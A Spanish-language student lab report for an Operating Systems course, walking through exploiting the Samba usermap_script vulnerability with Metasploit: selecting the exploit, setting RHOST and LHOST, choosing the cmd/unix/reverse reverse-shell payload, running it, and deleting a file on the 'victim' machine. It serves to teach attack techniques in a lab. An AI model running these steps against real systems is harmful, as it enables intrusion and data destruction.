INSTITUTO TECNOLOGICO SUPERIOR DE LA SIERRA DE AJALPAN

NOMBRE: Alvaro Sanchez Sanchez

MATERIA: Sistemas Operativos

CAREDRATICO: Ing. Marco Antonio Isidro Abril

PRACTICA:

SAMBA

INSTITUTO TECNOLOGICO SUPERIOR DE LA SIERRA DE AJALPAN

Entramos msfconsole

Buscamos el exploit para la vulnerabilidad con

search samba

INSTITUTO TECNOLOGICO SUPERIOR DE LA SIERRA DE AJALPAN

Tecleamos use exploit/multi/samba/usermap_script para poder ejecutar nuestra exploit

Para configurar el exploit abriremos la lista con

show options

INSTITUTO TECNOLOGICO SUPERIOR DE LA SIERRA DE AJALPAN

Configuramos la RHOST con la direccin ip de nuestra victima

Listamos los payloads que trae el exploit

INSTITUTO TECNOLOGICO SUPERIOR DE LA SIERRA DE AJALPAN

En mi caso usare el payloads cmd/unix/reverse

Especificamos la direccin de nuestra maquina local (ip de nuestra maquina) con set LHOST

INSTITUTO TECNOLOGICO SUPERIOR DE LA SIERRA DE AJALPAN

Bien una vez configurado el payload precedemos a explotar la maquina con el comando exploit

Vemos lo que tiene

INSTITUTO TECNOLOGICO SUPERIOR DE LA SIERRA DE AJALPAN

Eliminamos uno de los elementos de nuestra victima aacs

Y vemos que ya no se encuentra aacs